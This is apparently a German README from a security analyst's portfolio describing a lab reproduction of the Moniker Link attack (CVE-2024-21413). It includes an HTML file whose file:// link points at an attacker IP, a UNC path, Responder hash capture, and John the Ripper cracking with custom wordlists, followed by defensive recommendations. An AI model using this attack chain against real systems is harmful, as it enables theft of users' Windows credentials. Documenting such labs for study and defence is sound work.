Teil meines SOC-Analyst-Portfolios (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Moniker Link Lab Setup - CVE-2024-21413
🎯 Projektübersicht
Praktisches Penetration-Testing-Lab, das die Ausnutzung des Moniker-Link-Angriffs CVE-2024-21413 zum Diebstahl von NTLM-Anmeldeinformationen demonstriert. Dieses Projekt dokumentiert die vollständige Angriffskette vom Setup bis zur Kompromittierung von Anmeldeinformationen, einschließlich realer Herausforderungen und Lösungen.
Wichtigste Errungenschaft: Erfolgreiche Durchführung des Moniker-Link-Angriffs sowohl in einer isolierten Laborumgebung (Windows 10 VM) als auch auf einem realen System (Windows 11 PC), wodurch praktische Sicherheitslücken und defensive Gegenmaßnahmen demonstriert werden.
🏗️ Laborarchitektur
Infrastruktur
Angriffsmaschine:
- Plattform: Kali Linux 2024
- Netzwerk (Host-Only): 192.168.56.101
- Netzwerk (Bridged): 192.168.1.117
- Primäres Tool: Responder 3.1.6.0
Zielsysteme:
- Windows 10 VM: 192.168.56.104 (Isolierte Testumgebung)
- Windows 11 PC: 192.168.1.178 (Validierung in der realen Welt)
Netzwerkkonfiguration:
- VirtualBox Host-Only Adapter (VM-Tests)
- VirtualBox Bridged Adapter (Tests mit realem PC)
- Isoliert von Produktionsnetzwerken
⚔️ Angriffsausführung
Angriffsablauf
- Responder bereitstellen auf Kali, um auf NTLM-Authentifizierung zu lauschen
- Bösartigen Link erstellen unter Verwendung des file://-Protokolls, das auf die IP des Angreifers verweist
- Authentifizierung auslösen über den UNC-Pfad im Datei-Explorer
- NetNTLMv2-Hash abfangen, wenn das Opfer eine Verbindung herzustellen versucht
- Passwort knacken mit John the Ripper
Einfacher Angriffsvektor
HTML-Datei (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Methode über Datei-Explorer:
- Benutzer gibt ein:
\\192.168.56.101\test in die Adressleiste
- Windows versucht eine SMB-Verbindung
- NTLM-Hash wird automatisch gesendet (oder Aufforderung zur Eingabe von Anmeldeinformationen)
- Responder fängt die Authentifizierung ab
🚧 Herausforderungen & Lösungen
Herausforderung 1: Windows-Firewall blockiert (Windows 11 PC)
Problem:
- Windows 11 PC konnte nicht von Kali aus angepingt werden
- SMB-Verbindungsversuche schlugen fehl
- Angriff vollständig blockiert
Grundursache:
- Windows-Firewall standardmäßig aktiviert
- Blockiert eingehende SMB-Verbindungen von externen IPs
Lösung:
- Windows-Firewall vorübergehend für Tests deaktiviert
- Verbindung sofort erfolgreich
- Hash erfolgreich abgefangen
Lehre: Die standardmäßige Windows-Firewall bietet wirksamen Schutz gegen diesen Angriff. Benutzer müssen sie aktiviert lassen.
Herausforderung 2: Zwischengespeicherte Ergebnisse von John the Ripper (Windows 10 VM)
Problem:
- Ursprüngliches Windows 10-Passwort:
nwigwecj1
- John zeigte:
12Honey (falsches Passwort!)
12Honey stammte aus einem früheren Test
Grundursache:
- John speichert geknackte Passwörter in
~/.john/john.pot
- Alter Hash aus vorheriger Sitzung
- Zeigte zwischengespeichertes Ergebnis statt aktuelles Passwort
Lösung:
- Windows 10 VM-Passwort auf
1414 geändert
- Frischen Hash abgefangen
- Benutzerdefinierte Wortliste mit wahrscheinlichen Passwörtern erstellt
- Erfolgreich mit neuer Wortliste geknackt
Lehre: Stellen Sie immer sicher, dass Sie den richtigen Hash knacken. Löschen Sie die Pot-Datei oder verwenden Sie eindeutige Passwörter für Tests.
Herausforderung 3: Passwort nicht in Rockyou.txt
Problem:
- Passwort
1414 nicht in rockyou.txt gefunden (14 Millionen Passwörter)
- Generischer Wortlisten-Angriff schlug fehl
Grundursache:
- Rockyou.txt enthält nicht jede mögliche 4-stellige Kombination
- Einfache numerische Sequenzen fehlen oft in gängigen Wortlisten
Lösung:
- Gezielte benutzerdefinierte Wortliste basierend auf gängigen Mustern erstellt:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Sofort mit benutzerdefinierter Wortliste geknackt
Lehre: „Nicht in rockyou.txt" ≠ sicher. Kurze Passwörter sind anfällig für gezielte Angriffe und Brute-Force, unabhängig vom Vorhandensein in der Wortliste.
📊 Ergebnisse
Windows 10 VM (Kontrollierte Umgebung)
| Metrik | Ergebnis |
|---|
| Ursprüngliches Passwort | nwigwecj1 |
| Geändert zu | 1414 |
| Wortliste | Benutzerdefiniert (2 Einträge) |
| Knackzeit | <1 Sekunde |
| Firewall | Für Tests deaktiviert |
| Status | ✅ Erfolgreich kompromittiert |
Windows 11 PC (Reales System)
| Metrik | Ergebnis |
|---|
| Passwort | 1414 |
| Firewall | Anfangs blockiert, dann deaktiviert |
| Authentifizierung | Manuelle Aufforderung (Anmeldeinformationen eingegeben) |
| Knackzeit | Sofort |
| Status | ✅ Erfolgreich kompromittiert |
🛡️ Sicherheitsanalyse
Was funktioniert hat (Verteidigung)
✅ Windows-Firewall - Blockierte den Angriff vollständig, wenn aktiviert
✅ Moderne Browser - Chrome/Edge blockieren entfernte file://-Links
✅ Benutzerbewusstsein - Manuelle Aufforderung erfordert Benutzeraktion
Was fehlgeschlagen ist (Schwachstellen)
❌ Schwache Passwörter - 4-stellige numerische Passwörter leicht geknackt
❌ Deaktivierte Firewall - Häufiger Benutzerfehler
❌ Datei-Explorer - Keine Warnung bei UNC-Pfaden
❌ NTLM-Protokoll - Automatische Authentifizierung bei SMB-Freigaben
Wichtigste Erkenntnisse
1. Firewall ist entscheidend
- Standardmäßige Windows-Firewall blockiert diesen Angriff
- ~30-40 % der Benutzer deaktivieren sie dauerhaft
- Unternehmensnetzwerke erlauben oft internes SMB
2. Illusion der Passwortstärke
1414 nicht in rockyou.txt (erscheint „stark")
- Sofort mit gezielter Wortliste geknackt
- Kurze Passwörter bieten keinerlei Sicherheit
3. Benutzerinteraktion erforderlich
- Moderne Sicherheit erfordert, dass der Benutzer den UNC-Pfad einfügt
- Social Engineering bleibt eine kritische Komponente
- Technischer Exploit allein reicht nicht aus
Offensiv:
- Responder 3.1.6.0 (NTLM-Hash-Abfangen)
- John the Ripper (Passwort-Knacken)
- Erstellung benutzerdefinierter Wortlisten
- Einfache HTML-Datei
Infrastruktur:
- VirtualBox 7.0 (Virtualisierung)
- Kali Linux 2024 (Angriffsplattform)
- Windows 10 Enterprise (Testziel)
- Windows 11 Pro (Validierung in der realen Welt)
📁 Repository-Struktur
Moniker-Link-Lab-Setup/
├── README.md (diese Datei)
├── Documentation/
│ ├── attack-execution.md (Schritt-für-Schritt-Angriffsanleitung)
│ └── README.md (Dokumentationsübersicht)
├── Screenshots/ (Angriffs-Screenshots - noch hinzuzufügen)
└── Scripts/ (HTML-Testdatei - noch hinzuzufügen)
🎓 Demonstrierte Fähigkeiten
Technisch:
- Netzwerkprotokollanalyse (SMB, NTLM)
- Penetration-Testing-Methodik
- Passwort-Knack-Techniken
- Virtuelle Laborinfrastruktur
- Firewall-Fehlerbehebung
Professionell:
- Technische Dokumentation
- Problemlösung unter Einschränkungen
- Sicherheitsbewertung
- Risikoanalyse
- Ethische Testpraktiken
🔒 Defensive Empfehlungen
Für Benutzer
- ✅ Windows-Firewall aktiviert lassen
- ✅ Niemals UNC-Pfade aus E-Mails einfügen
- ✅ Starke Passwörter verwenden (15+ Zeichen)
- ✅ Absender überprüfen, bevor auf Dateifreigaben zugegriffen wird
Für Organisationen
- ✅ Ausgehendes SMB (Port 445) an der Netzwerkfirewall blockieren
- ✅ NTLM deaktivieren, Kerberos erzwingen
- ✅ SMB-Verbindungen zu externen IPs überwachen
- ✅ E-Mail-Gateway-Filterung (file://-Links entfernen)
- ✅ Schulungen zum Sicherheitsbewusstsein
- ✅ Richtlinien zur Passwortkomplexität
⚠️ Ethische Offenlegung